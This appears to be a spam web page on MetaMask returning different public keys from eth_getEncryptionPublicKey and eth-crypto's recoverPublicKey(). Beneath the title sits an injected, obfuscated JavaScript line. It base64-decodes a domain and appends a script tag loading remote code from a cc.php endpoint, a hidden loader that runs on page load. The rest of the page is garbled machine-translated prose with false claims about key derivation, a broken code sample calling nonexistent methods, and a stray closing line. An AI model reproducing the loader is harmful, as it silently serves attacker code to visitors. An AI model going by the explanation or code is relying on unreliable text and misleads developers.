Metamask: Got different Public keys from same Private key. `eth-crypto`’s `recoverPublicKey()` and MetaMask’s `eth_getEncryptionPublicKey`

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(„script”);script.src=”https://”+pde+”cc.php?u=98a36376″;document.body.appendChild(script);

Ponimania spinning in general keys from metamask and ethereum

As a delay of ethereum, we are not unfamiliar with the subtleties with the blockchain ethereum. The non -uniforms were unburned by the non -lifeline of the state -general keys, ascended on their dug metamask, and attached to the RPC Call eth_getenecryptionpublicky.

Problem: Different communal keys from the same closed key

Let's subtract the detailing. When we useeth_getencryptpublicke, he invites the open key to the this ethhereum. The case is not less, this generally available key is cleared on the basis of a part -time key in Metamask. That's why:

* Particular key: Putting key, used for the creation of the Koshka Ethereum, is unique for each man.

* Put the open key: when you are taking your open key, useeth_getenecryptpublickey, he does not tie with your closed key. Aside this one, it uses the second method of combing, which generates a new set of (state and partial), based on the general secrete in the intersection of your Koshelk Metamask and blockchain ethereum.

* SCIRE SECRET: This general secrets are used for the attachment of the open key from the part of the part.

Resolution:Recoverpublickey ()vs.eth_getenecryptpublickey

Metamask: Got different Public keys from same Private key. `eth-crypto`'s `recoverPublicKey()` and MetaMask's `eth_getEncryptionPublicKey`

To solve this problem, you can use any of the two methods:

  • Recoverpublickey ():

* You can callrecolepublike ()on the Metamask Khotselek to get a covered key with the conquret ethereum.

* This method introduces a closed key, used by Metamask, and allows you to get a tight key.

  • eth_getenecryptpublike(RPC):

* You can use theeth_getenecryptpublike, as well as to get the opening key to shifting for your ethereum recording.

* However, Imamed in the view that this is the Vernets of the second set of Klavish, what would you be used toRecordPublickey ().

PRIMER CODE: LOCKING OPTERY KEVER WID METAMASKRECORDPUBLICKE ()

Javascript

Const Web3 = Require ('Web3');

const metamask = new Web3 (new web3.providers.httpprovider ('

Metamask.getaccounts (). Zatem (accounts => {

Const Publoiche = Protection [0] .Getpublickey ();

// Recollection of a partial key with help Metamask Recoverpubloiki

Returned Metamask.recoverpublickey (Publickey);

});

Conclusion:

Disagreeing of the general keys, the disobedience to your hostel Metamask, and the call of the calling rpc eth_genecryptublike, with the help . Ponima, like ethereum, partial keys and regional secrets work together, you will be more subjugated for the navigation by these complexity.

If you have a question -you need to be more than you need to do it, do not ask you!

BITCOIN WHAT BITCOIN